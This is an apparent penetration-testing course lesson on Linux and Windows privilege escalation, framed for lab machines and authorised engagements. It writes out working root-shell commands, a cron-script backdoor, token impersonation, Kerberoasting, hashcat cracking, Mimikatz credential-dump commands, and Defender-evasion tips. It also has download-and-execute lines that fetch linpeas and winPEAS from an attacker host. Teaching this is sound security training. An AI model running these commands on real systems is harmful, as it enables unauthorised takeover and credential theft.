Privilege escalation — Concepts

You have access. Good. But a user account is not worth a root, SYSTEM, or domain admin account. This week, we move from "I have a shell" to "I own the machine". Without that, the rest of the pentest is theater.

Scope

Privilege escalation is practiced on the lab VMs (Metasploitable 2/3, HackTheBox retired boxes, VulnHub), or on an engagement under RoE. A mimikatz on a host you are not supposed to touch is a federal offense in several countries.

What you will be able to do after this lesson

• Use linpeas and winpeas without drowning in their output.
• Recognize five classic Linux paths: sudo, SUID, cron, capabilities, kernel exploits.
• Recognize four classic Windows paths: badly ACLed services, DLL hijacking, tokens to steal, Kerberoasting.
• Crack hashes offline with hashcat (NTLM, sha512crypt, kerberos-tgs formats).
• Use Mimikatz cleanly, and understand why it is as frightening as it is useful.
• Write an escalation finding that carries weight in a report.

---

1. The common logic

Privilege escalation follows three questions, systematically:

1. "What am I allowed to do with this account?" — id, whoami, sudo -l, whoami /priv.
2. "What does the system do, as a privileged user, that I can influence?" — root cron, SYSTEM scheduled task, a service that loads a DLL.
3. "What is in memory, and can I touch it?" — LSASS on Windows, /proc/*/environ on Linux, application secrets.

These three questions, in a loop, on every target. The rest is craft.

---

2. Linux — the five classic paths

2.1. sudo -l — the wide-open door

sudo -l

Typical output:

User bob may run the following commands on this host:
    (root) NOPASSWD: /usr/bin/vim

This is an immediate escalation. sudo vim as root, then inside vim:

:!bash

A root shell. Done. Any interactive command that can shell out has the same effect: less, more, awk, find, nmap (old), perl, python, ruby.

Reference to know: GTFOBins. A database of binaries that, misconfigured in sudo, open a root shell.

2.2. Misplaced SUID bits

The SUID bit (s instead of x) makes a file run with the privileges of its owner — often root.

find / -perm -4000 -type f 2>/dev/null

Classic output (Metasploitable 2):

/usr/bin/nmap
/usr/bin/python
/usr/bin/rlogin
/bin/mount
/bin/su

An old SUID root nmap accepts an interactive mode that shells out. SUID root python is a root shell in one line:

/usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/bash")'

GTFOBins lists the tricks for each binary. Check it before inventing your own.

2.3. Cron with relative paths

cat /etc/crontab
ls -la /etc/cron.d/

Possible output:

* * * * *   root   backup.sh

If backup.sh sits in a $PATH directory that you can modify — or if /etc/crontab lists backup.sh without an absolute path — you drop your booby-trapped backup.sh and wait for the next minute.

Version with an absolute path but a writable script:

ls -la /opt/backup/run.sh
-rwxrwxr-x root root run.sh

Group write = jackpot. Add:

echo "cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash" >> /opt/backup/run.sh

One minute later:

/tmp/rootbash -p
whoami
# root

2.4. Capabilities

Linux file capabilities (man 7 capabilities) grant fine-grained rights. Some are dangerous:

getcap -r / 2>/dev/null

Example output:

/usr/bin/python3.10 = cap_setuid+ep

cap_setuid on Python = Python can call setuid(0) without starting as root. Escalation path:

python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Other offensive capabilities: cap_dac_read_search (read everything, including /etc/shadow), cap_sys_admin (almost everything).

2.5. Kernel exploits

When everything else fails, the kernel. Check the version:

uname -a
cat /etc/os-release

Then search:

searchsploit "linux kernel <version>"

On a 2.6.24 kernel like Metasploitable 2, exploits abound (Dirty Cow, sock_diag_handlers, perf_swevent). On a recent kernel, the opposite — kernel exploits are expensive and rare.

Warning: a kernel exploit crashes the system in one case out of five. On a client pentest, never without explicit RoE authorization, never during business hours.

2.6. LinPEAS — the inventory tool

linpeas.sh scans the points above and many more. Result in 3-5 minutes.

# From Kali, serve it
python3 -m http.server 8000

# On the target
wget http://10.10.10.5:8000/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh -a | tee /tmp/linpeas.out

Key line in the output:

[+] Interesting files/paths owned by me
[+] Files with SUID bit
[+] Sudo version
[+] Kernel exploits (linux-exploit-suggester)

LinPEAS lists, it does not qualify. A [+] SUID: /usr/bin/passwd is a false positive — it is normal for passwd to be SUID. You filter by hand.

---

3. Windows — the four classic paths

3.1. Badly ACLed services

# In PowerShell on the target
Get-Service | Where-Object {$_.StartType -eq 'Automatic'}

# For each service, check the ACL of the binary
$svcs = Get-CimInstance Win32_Service
foreach ($s in $svcs) {
  $path = $s.PathName -replace '"' -replace ' .*'
  if (Test-Path $path) {
    (Get-Acl $path).Access | Where-Object { $_.IdentityReference -match "Everyone|Users|Authenticated" }
  }
}

If a service running as LocalSystem has its binary writable by Users, you replace the binary with your payload, restart the service, and SYSTEM falls.

3.2. DLL hijacking

An executable loads a DLL by name (kernel32.dll, mydll.dll) without an absolute path. Windows searches in order: the executable's directory, System32, SysWOW64, PATH.

If one of the search directories is writable by you and the app runs as admin, you drop a booby-trapped mydll.dll and wait.

Detection with procmon: filter on NAME NOT FOUND + .dll while the app starts.

3.3. Tokens to steal

On Windows, when an admin logs in (even over RDP), their access token is present in memory. A SYSTEM process can impersonate that token and become that admin.

From Meterpreter:

meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token "ACME\admin"
meterpreter > getuid
Server username: ACME\admin

You are a domain admin, without ever seeing the password.

3.4. Kerberoasting

On an Active Directory, every service account (svc_sql, svc_backup) has a Service Principal Name (SPN). Any authenticated user can request a Kerberos ticket (TGS) encrypted with the hash of the account's password. That ticket can be cracked offline.

# From Kali, with impacket
impacket-GetUserSPNs -request -dc-ip 192.168.100.10 acme.local/user:password

Output: tickets ready to be cracked with hashcat -m 13100. Service accounts often have a weak password (set 10 years ago, never changed).

It is the number one attack on AD in 2026. The average CISO does not know it.

3.5. WinPEAS

The Windows equivalent of LinPEAS. On the target:

IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.5:8000/winPEAS.ps1')

Typical output: tens of thousands of lines. Filter:

• [+] AlwaysInstallElevated — rare but explosive jackpot (msi installed as SYSTEM by any user).
• [+] Unquoted Service Path — services with an unquoted path and spaces.
• [+] Modifiable Registry — services whose config can be rewritten.
• [+] Autologon credentials — cleartext passwords in the registry.
• Potentially exploitable results — to validate one by one.

---

4. Cracking hashes offline

The main advantage of offline cracking: the target sees nothing. No account locks out.

4.1. The formats to know

Format	Origin	Hashcat mode	Speed RTX 4090
NTLM	Local Windows, hashdump	-m 1000	~200 GH/s
NetNTLMv2	Responder/relay	-m 5600	~3 GH/s
Kerberos TGS-REP	Kerberoasting	-m 13100	~1 GH/s
AS-REP	AS-REP roasting	-m 18200	~1 GH/s
sha512crypt	Modern Linux /etc/shadow	-m 1800	~130 KH/s
bcrypt	Web apps	-m 3200	~200 KH/s
MySQL	v5+	-m 300	~200 GH/s

Order of magnitude: NTLM = very fast, bcrypt/sha512crypt = very slow (by design).

4.2. Classic attacks

Straight dictionary:

hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt

Dictionary + rules (variations: uppercase, trailing digit, l33t):

hashcat -m 1000 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 1000 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/OneRuleToRuleThemAll.rule

Mask — when you suspect a policy:

# 8 characters, uppercase at the start, digits at the end
hashcat -m 1000 hashes.txt -a 3 ?u?l?l?l?l?d?d?d

Combination attack:

# Two dictionaries in a cross-product
hashcat -m 1000 hashes.txt -a 1 wl1.txt wl2.txt

4.3. The rules to know

• best64.rule — 64 general rules. A good compromise.
• OneRuleToRuleThemAll.rule — 52k rules. Long but very effective.
• dive.rule — massive, very intensive.

For corporate policies, you write your own rule: Ete2025! = base Ete + 2025 + ! = a reproducible pattern.

---

5. Mimikatz — the tool that changed Windows

Written by Benjamin Delpy in 2011, revealing that Windows kept passwords in cleartext in memory (LSASS). Microsoft took 5 years to react. Mimikatz remains the reference tool for extracting Windows credentials.

What Mimikatz can do:

• sekurlsa::logonpasswords — extracts all passwords from active sessions.
• sekurlsa::tickets — extracts Kerberos tickets from memory.
• lsadump::sam — dumps the local SAM (like hashdump).
• lsadump::dcsync — impersonates a domain controller and requests the replication of an account (including the krbtgt hash = Golden Ticket).
• sekurlsa::pth — Pass-the-Hash (auth with NTLM, no password).
• kerberos::golden — forges a Golden Ticket (permanent access to an AD).

Technically, it reads LSASS.exe (the process that handles authentication) through the Windows APIs.

Detection: Defender knows it by heart and blocks it immediately. We go through:

• A custom-compiled version (recompiled with modified strings).
• In-memory loading via Invoke-Mimikatz (PowerShell).
• Modern substitutes: Rubeus (Kerberoasting, ticket manipulation in C#), SharpHound (BloodHound collector).

Ethical framing: Mimikatz on a lab VM, yes. Mimikatz on a client's production, only if the RoE explicitly allows it. The tool is an attacker's, it trips every alarm.

---

6. BloodHound — the map of the domain

BloodHound does not extract credentials, it maps the relationships in an Active Directory:

• Who is admin of what.
• Which accounts can RDP to which machines.
• Which groups contain which users.
• Which GPOs apply where.

This map reveals attack paths that no one sees by hand. Example: "User Bob (an ordinary account) → member of the Marketing group → the Marketing group can modify the GPOs of server SRV-01 → SRV-01 is a domain admin."

Collector: SharpHound.exe -c All.

Interface: Neo4j + BloodHound GUI. Ready-made queries: "Find Shortest Paths to Domain Admins from Owned".

In 2026, an AD pentester without BloodHound is an incomplete pentester.

---

7. The escalation finding — what the report must contain

Each escalation found = one card:

## Escalation — <short title>

- Starting account: <user>
- Final account: <root / SYSTEM / Domain Admin>
- Path (numbered):
  1. Discovery: ...
  2. Exploitation: ...
  3. Confirmation: ...
- Commands run (inset):
  ```
  sudo -l
  sudo vim -c ':!bash'
  ```
- Business impact: reading of X, control of Y, possible persistence.
- Recommendation: removal of the sudoers line, or moving to a dedicated account.

A report with 15 "escalations found" without these cards is worth zero.

---

8. Mistakes to avoid

• Dumping LinPEAS and filtering nothing. The client sees 400 lines of noise and wonders what is truly critical.
• Using a kernel exploit without authorization. You break production, the engagement stops there.
• Cracking a hash and using it live on the portal instead of staying internal. You generate logs everywhere.
• Forgetting to clean up. You dropped a SUID /tmp/rootbash for the demo — remember to delete it before leaving.
• Not re-reading GTFOBins. You invent a complicated exploitation for a SUID find when GTFOBins gives the exact line.

---

9. What to remember

• Three questions in a loop: my rights, what the system does for me, what is in memory.
• Linux: sudo -l, SUID, cron, capabilities, kernel. In that order of priority.
• Windows: badly ACLed services, DLL hijacking, tokens, Kerberoasting.
• Hashcat is your friend. Know the 5 main modes by heart.
• Mimikatz is powerful, loud. In 2026, prefer Rubeus + BloodHound.
• An escalation report = numbered cards, with impact and remediation.

Next lesson: we drop five escalations (Linux + Windows), map an AD with BloodHound, and force a Kerberoast.